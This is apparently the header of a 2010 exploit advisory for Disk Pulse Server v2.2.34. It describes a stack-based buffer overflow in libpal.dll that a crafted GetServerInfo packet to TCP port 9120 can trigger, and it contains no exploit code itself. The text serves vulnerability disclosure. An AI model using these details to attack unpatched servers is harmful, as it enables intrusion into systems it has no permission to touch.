# Date: 10/11/2010  
# Author: xsploited security  
# URL: http://www.x-sploited.com/  
# Contact: xsploitedsecurity [at] gmail.com  
# Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v2.2.34.exe  
# Version: v2.2.34  
# Tested on: Windows XP SP3 (Physical machine)  
# CVE : N/A  
  
# Vulnerability Information:  
# A vulnerability exists in the way Disk Pulse Server v2.2.34 process a remote clients "GetServerInfo" request.  
# The vulnerability is caused due to a boundary error in libpal.dll when handling network messages and can be exploited  
# to cause a stack-based buffer overflow via a specially crafted packet sent to TCP port 9120.  
  
# Other notes:  
# It appears the vendor likes using the same server code (that was effected by my previous PoC: http://www.exploit-db.com/exploits/15231)  
# for everything client/server related. It is also safe to say that the client(s) are most likely effected by bugs as well.  
  
# Other possibly affected versions:  
# Disk Pulse Server <= 1.7.x
